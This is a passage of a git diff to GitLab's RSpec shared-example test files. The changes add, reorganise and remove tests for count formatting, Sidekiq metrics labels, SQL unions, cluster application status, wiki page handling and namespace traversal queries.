+ expect(deprecable.deprecation_reason).to include 'Please use `Foo.bar`'
+ end
+
+ it 'supports named reasons: renamed' do
+ deprecable = subject(deprecated: { milestone: '1.10', reason: :renamed })
+
+ expect(deprecable.deprecation_reason).to include 'This was renamed.'
+ end
+
+ it 'supports named reasons: discouraged' do
+ deprecable = subject(deprecated: { milestone: '1.10', reason: :discouraged })
+
+ expect(deprecable.deprecation_reason).to include 'Use of this is not recommended.'
+ end
end
diff --git a/spec/support/shared_examples/helpers/groups_shared_examples.rb b/spec/support/shared_examples/helpers/groups_shared_examples.rb
new file mode 100644
index 00000000000..9c74d25b31f
--- /dev/null
+++ b/spec/support/shared_examples/helpers/groups_shared_examples.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+# This shared_example requires the following variables:
+# - current_user
+# - group
+# - type, the issuable type (ie :issues, :merge_requests)
+# - count_service, the Service used by the specified issuable type
+
+RSpec.shared_examples 'cached issuables count' do
+ subject { helper.cached_issuables_count(group, type: type) }
+
+ before do
+ allow(helper).to receive(:current_user) { current_user }
+ allow(count_service).to receive(:new).and_call_original
+ end
+
+ it 'calls the correct service class' do
+ subject
+ expect(count_service).to have_received(:new).with(group, current_user)
+ end
+
+ it 'returns all digits for count value under 1000' do
+ allow_next_instance_of(count_service) do |service|
+ allow(service).to receive(:count).and_return(999)
+ end
+
+ expect(subject).to eq('999')
+ end
+
+ it 'returns truncated digits for count value over 1000' do
+ allow_next_instance_of(count_service) do |service|
+ allow(service).to receive(:count).and_return(2300)
+ end
+
+ expect(subject).to eq('2.3k')
+ end
+
+ it 'returns truncated digits for count value over 10000' do
+ allow_next_instance_of(count_service) do |service|
+ allow(service).to receive(:count).and_return(12560)
+ end
+
+ expect(subject).to eq('12.6k')
+ end
+
+ it 'returns truncated digits for count value over 100000' do
+ allow_next_instance_of(count_service) do |service|
+ allow(service).to receive(:count).and_return(112560)
+ end
+
+ expect(subject).to eq('112.6k')
+ end
+end
diff --git a/spec/support/shared_examples/lib/api/ci/runner_shared_examples.rb b/spec/support/shared_examples/lib/api/ci/runner_shared_examples.rb
index bdb0316bf5a..d5ebda28f0a 100644
--- a/spec/support/shared_examples/lib/api/ci/runner_shared_examples.rb
+++ b/spec/support/shared_examples/lib/api/ci/runner_shared_examples.rb
@@ -8,7 +8,7 @@ RSpec.shared_examples 'API::CI::Runner application context metadata' do |api_rou
send_request
- Labkit::Context.with_context do |context|
+ Gitlab::ApplicationContext.with_raw_context do |context|
expected_context = {
'meta.caller_id' => api_route,
'meta.user' => job.user.username,
diff --git a/spec/support/shared_examples/lib/api/internal_base_shared_examples.rb b/spec/support/shared_examples/lib/api/internal_base_shared_examples.rb
index dfa1388e0bb..ef08537dfe9 100644
--- a/spec/support/shared_examples/lib/api/internal_base_shared_examples.rb
+++ b/spec/support/shared_examples/lib/api/internal_base_shared_examples.rb
@@ -1,17 +1,6 @@
# frozen_string_literal: true
RSpec.shared_examples 'actor key validations' do
- context 'key id is not provided' do
- let(:key_id) { nil }
-
- it 'returns an error message' do
- subject
-
- expect(json_response['success']).to be_falsey
- expect(json_response['message']).to eq('Could not find a user without a key')
- end
- end
-
context 'key does not exist' do
let(:key_id) { non_existing_record_id }
diff --git a/spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb
index 0df1af3b10a..9c95d1ff9d9 100644
--- a/spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb
@@ -843,6 +843,17 @@ RSpec.shared_examples 'trace with enabled live trace feature' do
expect { subject }.to raise_error(Gitlab::Ci::Trace::AlreadyArchivedError)
expect(build.job_artifacts_trace.file.exists?).to be_truthy
end
+
+ context 'when live trace chunks still exist' do
+ before do
+ create(:ci_build_trace_chunk, build: build)
+ end
+
+ it 'removes the traces' do
+ expect { subject }.to raise_error(Gitlab::Ci::Trace::AlreadyArchivedError)
+ expect(build.trace_chunks).to be_empty
+ end
+ end
end
context 'when job is not finished yet' do
diff --git a/spec/support/shared_examples/lib/gitlab/database/cte_materialized_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/database/cte_materialized_shared_examples.rb
new file mode 100644
index 00000000000..88e6ffd15a8
--- /dev/null
+++ b/spec/support/shared_examples/lib/gitlab/database/cte_materialized_shared_examples.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'CTE with MATERIALIZED keyword examples' do
+ describe 'adding MATERIALIZE to the CTE' do
+ let(:options) { {} }
+
+ before do
+ # Clear the cached value before the test
+ Gitlab::Database::AsWithMaterialized.clear_memoization(:materialized_supported)
+ end
+
+ context 'when PG version is <12' do
+ it 'does not add MATERIALIZE keyword' do
+ allow(Gitlab::Database).to receive(:version).and_return('11.1')
+
+ expect(query).to include(expected_query_block_without_materialized)
+ end
+ end
+
+ context 'when PG version is >=12' do
+ it 'adds MATERIALIZE keyword' do
+ allow(Gitlab::Database).to receive(:version).and_return('12.1')
+
+ expect(query).to include(expected_query_block_with_materialized)
+ end
+
+ context 'when version is higher than 12' do
+ it 'adds MATERIALIZE keyword' do
+ allow(Gitlab::Database).to receive(:version).and_return('15.1')
+
+ expect(query).to include(expected_query_block_with_materialized)
+ end
+ end
+
+ context 'when materialized is disabled' do
+ let(:options) { { materialized: false } }
+
+ it 'does not add MATERIALIZE keyword' do
+ expect(query).to include(expected_query_block_without_materialized)
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/lib/gitlab/sidekiq_middleware/metrics_middleware_with_worker_attribution_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/sidekiq_middleware/metrics_middleware_with_worker_attribution_shared_examples.rb
new file mode 100644
index 00000000000..48dc47e8e9b
--- /dev/null
+++ b/spec/support/shared_examples/lib/gitlab/sidekiq_middleware/metrics_middleware_with_worker_attribution_shared_examples.rb
@@ -0,0 +1,132 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'metrics middleware with worker attribution' do
+ subject { described_class.new }
+
+ let(:queue) { :test }
+ let(:worker_class) { worker.class }
+ let(:job) { {} }
+ let(:default_labels) do
+ { queue: queue.to_s,
+ worker: worker_class.to_s,
+ boundary: "",
+ external_dependencies: "no",
+ feature_category: "",
+ urgency: "low" }
+ end
+
+ context "when workers are not attributed" do
+ before do
+ stub_const('TestNonAttributedWorker', Class.new)
+ TestNonAttributedWorker.class_eval do
+ include Sidekiq::Worker
+ end
+ end
+
+ it_behaves_like "a metrics middleware" do
+ let(:worker) { TestNonAttributedWorker.new }
+ let(:labels) { default_labels.merge(urgency: "") }
+ end
+ end
+
+ context "when a worker is wrapped into ActiveJob" do
+ before do
+ stub_const('TestWrappedWorker', Class.new)
+ TestWrappedWorker.class_eval do
+ include Sidekiq::Worker
+ end
+ end
+
+ it_behaves_like "a metrics middleware" do
+ let(:job) do
+ {
+ "class" => ActiveJob::QueueAdapters::SidekiqAdapter::JobWrapper,
+ "wrapped" => TestWrappedWorker
+ }
+ end
+
+ let(:worker) { TestWrappedWorker.new }
+ let(:labels) { default_labels.merge(urgency: "") }
+ end
+ end
+
+ context "when workers are attributed" do
+ def create_attributed_worker_class(urgency, external_dependencies, resource_boundary, category)
+ klass = Class.new do
+ include Sidekiq::Worker
+ include WorkerAttributes
+
+ urgency urgency if urgency
+ worker_has_external_dependencies! if external_dependencies
+ worker_resource_boundary resource_boundary unless resource_boundary == :unknown
+ feature_category category unless category.nil?
+ end
+ stub_const("TestAttributedWorker", klass)
+ end
+
+ let(:urgency) { nil }
+ let(:external_dependencies) { false }
+ let(:resource_boundary) { :unknown }
+ let(:feature_category) { nil }
+ let(:worker_class) { create_attributed_worker_class(urgency, external_dependencies, resource_boundary, feature_category) }
+ let(:worker) { worker_class.new }
+
+ context "high urgency" do
+ it_behaves_like "a metrics middleware" do
+ let(:urgency) { :high }
+ let(:labels) { default_labels.merge(urgency: "high") }
+ end
+ end
+
+ context "no urgency" do
+ it_behaves_like "a metrics middleware" do
+ let(:urgency) { :throttled }
+ let(:labels) { default_labels.merge(urgency: "throttled") }
+ end
+ end
+
+ context "external dependencies" do
+ it_behaves_like "a metrics middleware" do
+ let(:external_dependencies) { true }
+ let(:labels) { default_labels.merge(external_dependencies: "yes") }
+ end
+ end
+
+ context "cpu boundary" do
+ it_behaves_like "a metrics middleware" do
+ let(:resource_boundary) { :cpu }
+ let(:labels) { default_labels.merge(boundary: "cpu") }
+ end
+ end
+
+ context "memory boundary" do
+ it_behaves_like "a metrics middleware" do
+ let(:resource_boundary) { :memory }
+ let(:labels) { default_labels.merge(boundary: "memory") }
+ end
+ end
+
+ context "feature category" do
+ it_behaves_like "a metrics middleware" do
+ let(:feature_category) { :authentication }
+ let(:labels) { default_labels.merge(feature_category: "authentication") }
+ end
+ end
+
+ context "combined" do
+ it_behaves_like "a metrics middleware" do
+ let(:urgency) { :high }
+ let(:external_dependencies) { true }
+ let(:resource_boundary) { :cpu }
+ let(:feature_category) { :authentication }
+ let(:labels) do
+ default_labels.merge(
+ urgency: "high",
+ external_dependencies: "yes",
+ boundary: "cpu",
+ feature_category: "authentication")
+ end
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/lib/gitlab/sql/set_operator_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/sql/set_operator_shared_examples.rb
index 73beef06855..aa6a51c3646 100644
--- a/spec/support/shared_examples/lib/gitlab/sql/set_operator_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/sql/set_operator_shared_examples.rb
@@ -43,4 +43,33 @@ RSpec.shared_examples 'SQL set operator' do |operator_keyword|
expect(set_operator.to_sql).to eq('NULL')
end
end
+
+ describe 'remove_order parameter' do
+ let(:scopes) do
+ [
+ User.where(id: 1).order(id: :desc).limit(1),
+ User.where(id: 2).order(id: :asc).limit(1)
+ ]
+ end
+
+ subject(:union_query) { described_class.new(scopes, remove_order: remove_order).to_sql }
+
+ context 'when remove_order: true' do
+ let(:remove_order) { true }
+
+ it 'removes the ORDER BY from the query' do
+ expect(union_query).not_to include('ORDER BY "users"."id" DESC')
+ expect(union_query).not_to include('ORDER BY "users"."id" ASC')
+ end
+ end
+
+ context 'when remove_order: false' do
+ let(:remove_order) { false }
+
+ it 'does not remove the ORDER BY from the query' do
+ expect(union_query).to include('ORDER BY "users"."id" DESC')
+ expect(union_query).to include('ORDER BY "users"."id" ASC')
+ end
+ end
+ end
end
diff --git a/spec/support/shared_examples/lib/gitlab/usage_data_counters/issuable_activity_shared_examples.rb b/spec/support/shared_examples/lib/gitlab/usage_data_counters/issuable_activity_shared_examples.rb
index aa6e64a3820..4b956c2b566 100644
--- a/spec/support/shared_examples/lib/gitlab/usage_data_counters/issuable_activity_shared_examples.rb
+++ b/spec/support/shared_examples/lib/gitlab/usage_data_counters/issuable_activity_shared_examples.rb
@@ -14,10 +14,6 @@ RSpec.shared_examples 'a daily tracked issuable event' do
expect(track_action(author: user1)).to be_truthy
expect(track_action(author: user1)).to be_truthy
expect(track_action(author: user2)).to be_truthy
- expect(track_action(author: user3, time: time - 3.days)).to be_truthy
-
- expect(count_unique(date_from: time, date_to: time)).to eq(2)
- expect(count_unique(date_from: time - 5.days, date_to: 1.day.since(time))).to eq(3)
end
end
diff --git a/spec/support/shared_examples/mailers/notify_shared_examples.rb b/spec/support/shared_examples/mailers/notify_shared_examples.rb
index 0143bf693c7..b10ebb4d2a3 100644
--- a/spec/support/shared_examples/mailers/notify_shared_examples.rb
+++ b/spec/support/shared_examples/mailers/notify_shared_examples.rb
@@ -225,7 +225,7 @@ RSpec.shared_examples 'a note email' do
sender = subject.header[:from].addrs[0]
aggregate_failures do
- expect(sender.display_name).to eq(note_author.name)
+ expect(sender.display_name).to eq("#{note_author.name} (@#{note_author.username})")
expect(sender.address).to eq(gitlab_sender)
expect(subject).to deliver_to(recipient.notification_email)
end
diff --git a/spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb b/spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb
index 7bf2456c548..1b110ab02b5 100644
--- a/spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb
+++ b/spec/support/shared_examples/metrics/active_record_subscriber_shared_examples.rb
@@ -16,7 +16,9 @@ RSpec.shared_examples 'store ActiveRecord info in RequestStore' do |db_role|
db_primary_duration_s: record_query ? 0.002 : 0,
db_replica_cached_count: 0,
db_replica_count: 0,
- db_replica_duration_s: 0.0
+ db_replica_duration_s: 0.0,
+ db_primary_wal_count: record_wal_query ? 1 : 0,
+ db_replica_wal_count: 0
)
elsif db_role == :replica
expect(described_class.db_counter_payload).to eq(
@@ -28,7 +30,9 @@ RSpec.shared_examples 'store ActiveRecord info in RequestStore' do |db_role|
db_primary_duration_s: 0.0,
db_replica_cached_count: record_cached_query ? 1 : 0,
db_replica_count: record_query ? 1 : 0,
- db_replica_duration_s: record_query ? 0.002 : 0
+ db_replica_duration_s: record_query ? 0.002 : 0,
+ db_replica_wal_count: record_wal_query ? 1 : 0,
+ db_primary_wal_count: 0
)
else
expect(described_class.db_counter_payload).to eq(
@@ -66,6 +70,12 @@ RSpec.shared_examples 'record ActiveRecord metrics in a metrics transaction' do
expect(transaction).not_to receive(:increment).with("gitlab_transaction_db_#{db_role}_cached_count_total".to_sym, 1) if db_role
end
+ if record_wal_query
+ expect(transaction).to receive(:increment).with("gitlab_transaction_db_#{db_role}_wal_count_total".to_sym, 1) if db_role
+ else
+ expect(transaction).not_to receive(:increment).with("gitlab_transaction_db_#{db_role}_wal_count_total".to_sym, 1) if db_role
+ end
+
subscriber.sql(event)
end
diff --git a/spec/support/shared_examples/models/boards/listable_shared_examples.rb b/spec/support/shared_examples/models/boards/listable_shared_examples.rb
index e733a5488fb..250a4c1b1bd 100644
--- a/spec/support/shared_examples/models/boards/listable_shared_examples.rb
+++ b/spec/support/shared_examples/models/boards/listable_shared_examples.rb
@@ -16,18 +16,23 @@ RSpec.shared_examples 'boards listable model' do |list_factory|
end
describe 'scopes' do
+ let_it_be(:list1) { create(list_factory, list_type: :backlog) }
+ let_it_be(:list2) { create(list_factory, list_type: :closed) }
+ let_it_be(:list3) { create(list_factory, position: 1) }
+ let_it_be(:list4) { create(list_factory, position: 2) }
+
describe '.ordered' do
it 'returns lists ordered by type and position' do
- # rubocop:disable Rails/SaveBang
- lists = [
- create(list_factory, list_type: :backlog),
- create(list_factory, list_type: :closed),
- create(list_factory, position: 1),
- create(list_factory, position: 2)
- ]
- # rubocop:enable Rails/SaveBang
-
- expect(described_class.where(id: lists).ordered).to eq([lists[0], lists[2], lists[3], lists[1]])
+ expect(described_class.where(id: [list1, list2, list3, list4]).ordered)
+ .to eq([list1, list3, list4, list2])
+ end
+ end
+
+ describe '.without_types' do
+ it 'excludes lists of given types' do
+ lists = described_class.without_types([:label, :closed])
+
+ expect(lists).to match_array([list1])
end
end
end
diff --git a/spec/support/shared_examples/models/cluster_application_status_shared_examples.rb b/spec/support/shared_examples/models/cluster_application_status_shared_examples.rb
index 7603787a54e..d3f3e15d299 100644
--- a/spec/support/shared_examples/models/cluster_application_status_shared_examples.rb
+++ b/spec/support/shared_examples/models/cluster_application_status_shared_examples.rb
@@ -138,7 +138,7 @@ RSpec.shared_examples 'cluster application status specs' do |application_name|
it 'is installed' do
subject.make_externally_installed
- expect(subject).to be_installed
+ expect(subject).to be_externally_installed
end
context 'helm record does not exist' do
@@ -170,7 +170,7 @@ RSpec.shared_examples 'cluster application status specs' do |application_name|
it 'is installed' do
subject.make_externally_installed
- expect(subject).to be_installed
+ expect(subject).to be_externally_installed
end
end
@@ -180,7 +180,7 @@ RSpec.shared_examples 'cluster application status specs' do |application_name|
it 'is installed' do
subject.make_externally_installed
- expect(subject).to be_installed
+ expect(subject).to be_externally_installed
end
it 'clears #status_reason' do
@@ -317,6 +317,7 @@ RSpec.shared_examples 'cluster application status specs' do |application_name|
:uninstall_errored | false
:uninstalled | false
:timed_out | false
+ :externally_installed | true
end
with_them do
diff --git a/spec/support/shared_examples/models/cluster_application_version_shared_examples.rb b/spec/support/shared_examples/models/cluster_application_version_shared_examples.rb
index ed2e4fee2de..3acc43eb0da 100644
--- a/spec/support/shared_examples/models/cluster_application_version_shared_examples.rb
+++ b/spec/support/shared_examples/models/cluster_application_version_shared_examples.rb
@@ -47,4 +47,15 @@ RSpec.shared_examples 'cluster application version specs' do |application_name|
end
end
end
+
+ describe '#make_externally_installed' do
+ subject { build(application_name) }
+
+ it 'sets to a special version' do
+ subject.make_externally_installed!
+
+ expect(subject).to be_persisted
+ expect(subject.version).to eq('EXTERNALLY_INSTALLED')
+ end
+ end
end
diff --git a/spec/support/shared_examples/models/clusters/prometheus_client_shared.rb b/spec/support/shared_examples/models/clusters/prometheus_client_shared.rb
new file mode 100644
index 00000000000..8d6dcfef925
--- /dev/null
+++ b/spec/support/shared_examples/models/clusters/prometheus_client_shared.rb
@@ -0,0 +1,86 @@
+# frozen_string_literal: true
+
+# Input
+# - factory: [:clusters_applications_prometheus, :clusters_integrations_prometheus]
+RSpec.shared_examples '#prometheus_client shared' do
+ shared_examples 'exception caught for prometheus client' do
+ before do
+ allow(kube_client).to receive(:proxy_url).and_raise(exception)
+ end
+
+ it 'returns nil' do
+ expect(subject.prometheus_client).to be_nil
+ end
+ end
+
+ context 'cluster is nil' do
+ it 'returns nil' do
+ expect(subject.cluster).to be_nil
+ expect(subject.prometheus_client).to be_nil
+ end
+ end
+
+ context "cluster doesn't have kubeclient" do
+ let(:cluster) { create(:cluster) }
+
+ subject { create(factory, cluster: cluster) }
+
+ it 'returns nil' do
+ expect(subject.prometheus_client).to be_nil
+ end
+ end
+
+ context 'cluster has kubeclient' do
+ let(:cluster) { create(:cluster, :project, :provided_by_gcp) }
+ let(:kubernetes_url) { subject.cluster.platform_kubernetes.api_url }
+ let(:kube_client) { subject.cluster.kubeclient.core_client }
+
+ subject { create(factory, cluster: cluster) }
+
+ before do
+ subject.cluster.platform_kubernetes.namespace = 'a-namespace'
+ stub_kubeclient_discover(cluster.platform_kubernetes.api_url)
+
+ create(:cluster_kubernetes_namespace,
+ cluster: cluster,
+ cluster_project: cluster.cluster_project,
+ project: cluster.cluster_project.project)
+ end
+
+ it 'creates proxy prometheus_client' do
+ expect(subject.prometheus_client).to be_instance_of(Gitlab::PrometheusClient)
+ end
+
+ it 'merges proxy_url, options and headers from kube client with prometheus_client options' do
+ expect(Gitlab::PrometheusClient)
+ .to(receive(:new))
+ .with(a_valid_url, kube_client.rest_client.options.merge({
+ headers: kube_client.headers,
+ timeout: PrometheusAdapter::DEFAULT_PROMETHEUS_REQUEST_TIMEOUT_SEC
+ }))
+ subject.prometheus_client
+ end
+
+ context 'when cluster is not reachable' do
+ it_behaves_like 'exception caught for prometheus client' do
+ let(:exception) { Kubeclient::HttpError.new(401, 'Unauthorized', nil) }
+ end
+ end
+
+ context 'when there is a socket error while contacting cluster' do
+ it_behaves_like 'exception caught for prometheus client' do
+ let(:exception) { Errno::ECONNREFUSED }
+ end
+
+ it_behaves_like 'exception caught for prometheus client' do
+ let(:exception) { Errno::ECONNRESET }
+ end
+ end
+
+ context 'when the network is unreachable' do
+ it_behaves_like 'exception caught for prometheus client' do
+ let(:exception) { Errno::ENETUNREACH }
+ end
+ end
+ end
+end
diff --git a/spec/support/shared_examples/models/packages/debian/distribution_shared_examples.rb b/spec/support/shared_examples/models/packages/debian/distribution_shared_examples.rb
index b4ec146df14..9eacacf725f 100644
--- a/spec/support/shared_examples/models/packages/debian/distribution_shared_examples.rb
+++ b/spec/support/shared_examples/models/packages/debian/distribution_shared_examples.rb
@@ -179,7 +179,7 @@ RSpec.shared_examples 'Debian Distribution' do |factory, container, can_freeze|
subject { described_class.with_codename_or_suite(distribution_with_suite.codename) }
it 'does not return other distributions' do
- expect(subject.to_a).to eq([distribution_with_suite, distribution_with_same_codename, distribution_with_codename_and_suite_flipped])
+ expect(subject.to_a).to contain_exactly(distribution_with_suite, distribution_with_same_codename, distribution_with_codename_and_suite_flipped)
end
end
@@ -187,7 +187,7 @@ RSpec.shared_examples 'Debian Distribution' do |factory, container, can_freeze|
subject { described_class.with_codename_or_suite(distribution_with_suite.suite) }
it 'does not return other distributions' do
- expect(subject.to_a).to eq([distribution_with_suite, distribution_with_same_suite, distribution_with_codename_and_suite_flipped])
+ expect(subject.to_a).to contain_exactly(distribution_with_suite, distribution_with_same_suite, distribution_with_codename_and_suite_flipped)
end
end
end
diff --git a/spec/support/shared_examples/models/wiki_shared_examples.rb b/spec/support/shared_examples/models/wiki_shared_examples.rb
index abc6e3ecce8..6b243aef3e6 100644
--- a/spec/support/shared_examples/models/wiki_shared_examples.rb
+++ b/spec/support/shared_examples/models/wiki_shared_examples.rb
@@ -354,33 +354,29 @@ RSpec.shared_examples 'wiki model' do
subject.repository.create_file(user, 'image.png', image, branch_name: subject.default_branch, message: 'add image')
end
- shared_examples 'find_file results' do
- it 'returns the latest version of the file if it exists' do
- file = subject.find_file('image.png')
+ it 'returns the latest version of the file if it exists' do
+ file = subject.find_file('image.png')
- expect(file.mime_type).to eq('image/png')
- end
+ expect(file.mime_type).to eq('image/png')
+ end
- it 'returns nil if the page does not exist' do
- expect(subject.find_file('non-existent')).to eq(nil)
- end
+ it 'returns nil if the page does not exist' do
+ expect(subject.find_file('non-existent')).to eq(nil)
+ end
- it 'returns a Gitlab::Git::WikiFile instance' do
- file = subject.find_file('image.png')
+ it 'returns a Gitlab::Git::WikiFile instance' do
+ file = subject.find_file('image.png')
- expect(file).to be_a Gitlab::Git::WikiFile
- end
+ expect(file).to be_a Gitlab::Git::WikiFile
+ end
- it 'returns the whole file' do
- file = subject.find_file('image.png')
- image.rewind
+ it 'returns the whole file' do
+ file = subject.find_file('image.png')
+ image.rewind
- expect(file.raw_data.b).to eq(image.read.b)
- end
+ expect(file.raw_data.b).to eq(image.read.b)
end
- it_behaves_like 'find_file results'
-
context 'when load_content is disabled' do
it 'includes the file data in the Gitlab::Git::WikiFile' do
file = subject.find_file('image.png', load_content: false)
@@ -388,14 +384,6 @@ RSpec.shared_examples 'wiki model' do
expect(file.raw_data).to be_empty
end
end
-
- context 'when feature flag :gitaly_find_file is disabled' do
- before do
- stub_feature_flags(gitaly_find_file: false)
- end
-
- it_behaves_like 'find_file results'
- end
end
describe '#create_page' do
@@ -481,28 +469,53 @@ RSpec.shared_examples 'wiki model' do
end
describe '#delete_page' do
- let(:page) { create(:wiki_page, wiki: wiki) }
+ shared_examples 'delete_page operations' do
+ let(:page) { create(:wiki_page, wiki: wiki) }
- it 'deletes the page' do
- subject.delete_page(page)
+ it 'deletes the page' do
+ subject.delete_page(page)
- expect(subject.list_pages.count).to eq(0)
- end
+ expect(subject.list_pages.count).to eq(0)
+ end
- it 'sets the correct commit email' do
- subject.delete_page(page)
+ it 'sets the correct commit email' do
+ subject.delete_page(page)
- expect(user.commit_email).not_to eq(user.email)
- expect(commit.author_email).to eq(user.commit_email)
- expect(commit.committer_email).to eq(user.commit_email)
+ expect(user.commit_email).not_to eq(user.email)
+ expect(commit.author_email).to eq(user.commit_email)
+ expect(commit.committer_email).to eq(user.commit_email)
+ end
+
+ it 'runs after_wiki_activity callbacks' do
+ page
+
+ expect(subject).to receive(:after_wiki_activity)
+
+ subject.delete_page(page)
+ end
end
- it 'runs after_wiki_activity callbacks' do
- page
+ it_behaves_like 'delete_page operations'
- expect(subject).to receive(:after_wiki_activity)
+ context 'when an error is raised' do
+ it 'logs the error and returns false' do
+ page = build(:wiki_page, wiki: wiki)
+ exception = Gitlab::Git::Index::IndexError.new('foo')
+
+ allow(subject.repository).to receive(:delete_file).and_raise(exception)
+
+ expect(Gitlab::ErrorTracking).to receive(:log_exception).with(exception, action: :deleted, wiki_id: wiki.id)
+
+ expect(subject.delete_page(page)).to be_falsey
+ end
+ end
+
+ context 'when feature flag :gitaly_replace_wiki_delete_page is disabled' do
+ before do
+ stub_feature_flags(gitaly_replace_wiki_delete_page: false)
+ end
- subject.delete_page(page)
+ it_behaves_like 'delete_page operations'
end
end
diff --git a/spec/support/shared_examples/namespaces/namespace_traversal_examples.rb b/spec/support/shared_examples/namespaces/namespace_traversal_examples.rb
new file mode 100644
index 00000000000..36e5808fa28
--- /dev/null
+++ b/spec/support/shared_examples/namespaces/namespace_traversal_examples.rb
@@ -0,0 +1,124 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'namespace traversal' do
+ shared_examples 'recursive version' do |method|
+ let(:recursive_method) { "recursive_#{method}" }
+
+ it "is equivalent to ##{method}" do
+ groups.each do |group|
+ expect(group.public_send(method)).to match_array group.public_send(recursive_method)
+ end
+ end
+
+ it "makes a recursive query" do
+ groups.each do |group|
+ expect { group.public_send(recursive_method).load }.to make_queries_matching(/WITH RECURSIVE/)
+ end
+ end
+ end
+
+ describe '#self_and_hierarchy' do
+ let!(:group) { create(:group, path: 'git_lab') }
+ let!(:nested_group) { create(:group, parent: group) }
+ let!(:deep_nested_group) { create(:group, parent: nested_group) }
+ let!(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
+ let!(:another_group) { create(:group, path: 'gitllab') }
+ let!(:another_group_nested) { create(:group, path: 'foo', parent: another_group) }
+
+ it 'returns the correct tree' do
+ expect(group.self_and_hierarchy).to contain_exactly(group, nested_group, deep_nested_group, very_deep_nested_group)
+ expect(nested_group.self_and_hierarchy).to contain_exactly(group, nested_group, deep_nested_group, very_deep_nested_group)
+ expect(very_deep_nested_group.self_and_hierarchy).to contain_exactly(group, nested_group, deep_nested_group, very_deep_nested_group)
+ end
+
+ describe '#recursive_self_and_hierarchy' do
+ let(:groups) { [group, nested_group, very_deep_nested_group] }
+
+ it_behaves_like 'recursive version', :self_and_hierarchy
+ end
+ end
+
+ describe '#ancestors' do
+ let(:group) { create(:group) }
+ let(:nested_group) { create(:group, parent: group) }
+ let(:deep_nested_group) { create(:group, parent: nested_group) }
+ let(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
+
+ it 'returns the correct ancestors' do
+ expect(very_deep_nested_group.ancestors).to include(group, nested_group, deep_nested_group)
+ expect(deep_nested_group.ancestors).to include(group, nested_group)
+ expect(nested_group.ancestors).to include(group)
+ expect(group.ancestors).to eq([])
+ end
+
+ describe '#recursive_ancestors' do
+ let(:groups) { [nested_group, deep_nested_group, very_deep_nested_group] }
+
+ it_behaves_like 'recursive version', :ancestors
+ end
+ end
+
+ describe '#self_and_ancestors' do
+ let(:group) { create(:group) }
+ let(:nested_group) { create(:group, parent: group) }
+ let(:deep_nested_group) { create(:group, parent: nested_group) }
+ let(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
+
+ it 'returns the correct ancestors' do
+ expect(very_deep_nested_group.self_and_ancestors).to contain_exactly(group, nested_group, deep_nested_group, very_deep_nested_group)
+ expect(deep_nested_group.self_and_ancestors).to contain_exactly(group, nested_group, deep_nested_group)
+ expect(nested_group.self_and_ancestors).to contain_exactly(group, nested_group)
+ expect(group.self_and_ancestors).to contain_exactly(group)
+ end
+
+ describe '#recursive_self_and_ancestors' do
+ let(:groups) { [nested_group, deep_nested_group, very_deep_nested_group] }
+
+ it_behaves_like 'recursive version', :self_and_ancestors
+ end
+ end
+
+ describe '#descendants' do
+ let!(:group) { create(:group, path: 'git_lab') }
+ let!(:nested_group) { create(:group, parent: group) }
+ let!(:deep_nested_group) { create(:group, parent: nested_group) }
+ let!(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
+ let!(:another_group) { create(:group, path: 'gitllab') }
+ let!(:another_group_nested) { create(:group, path: 'foo', parent: another_group) }
+
+ it 'returns the correct descendants' do
+ expect(very_deep_nested_group.descendants.to_a).to eq([])
+ expect(deep_nested_group.descendants.to_a).to include(very_deep_nested_group)
+ expect(nested_group.descendants.to_a).to include(deep_nested_group, very_deep_nested_group)
+ expect(group.descendants.to_a).to include(nested_group, deep_nested_group, very_deep_nested_group)
+ end
+
+ describe '#recursive_descendants' do
+ let(:groups) { [group, nested_group, deep_nested_group, very_deep_nested_group] }
+
+ it_behaves_like 'recursive version', :descendants
+ end
+ end
+
+ describe '#self_and_descendants' do
+ let!(:group) { create(:group, path: 'git_lab') }
+ let!(:nested_group) { create(:group, parent: group) }
+ let!(:deep_nested_group) { create(:group, parent: nested_group) }
+ let!(:very_deep_nested_group) { create(:group, parent: deep_nested_group) }
+ let!(:another_group) { create(:group, path: 'gitllab') }
+ let!(:another_group_nested) { create(:group, path: 'foo', parent: another_group) }
+
+ it 'returns the correct descendants' do
+ expect(very_deep_nested_group.self_and_descendants).to contain_exactly(very_deep_nested_group)
+ expect(deep_nested_group.self_and_descendants).to contain_exactly(deep_nested_group, very_deep_nested_group)
+ expect(nested_group.self_and_descendants).to contain_exactly(nested_group, deep_nested_group, very_deep_nested_group)
+ expect(group.self_and_descendants).to contain_exactly(group, nested_group, deep_nested_group, very_deep_nested_group)
+ end
+
+ describe '#recursive_self_and_descendants' do
+ let(:groups) { [group, nested_group, deep_nested_group, very_deep_nested_group] }
+
+ it_behaves_like 'recursive version', :self_and_descendants
+ end
+ end
+end
diff --git a/spec/support/shared_examples/namespaces/recursive_traversal_examples.rb b/spec/support/shared_examples/namespaces/recursive_traversal_examples.rb
deleted file mode 100644
index 2c94be61bc1..00000000000
--- a/spec/support/shared_examples/namespaces/recursive_traversal_examples.rb
+++ /dev/null
@@ -1,78 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_examples 'recursive namespace traversal' do
- describe '#self_and_hierarchy' do
- let!(:group) { create(:group, path: 'git_lab') }
- let!(:nested_group) { create(:group, parent: group) }
- let!(:deep_nested_group) { create(:group, parent: nested_group) }
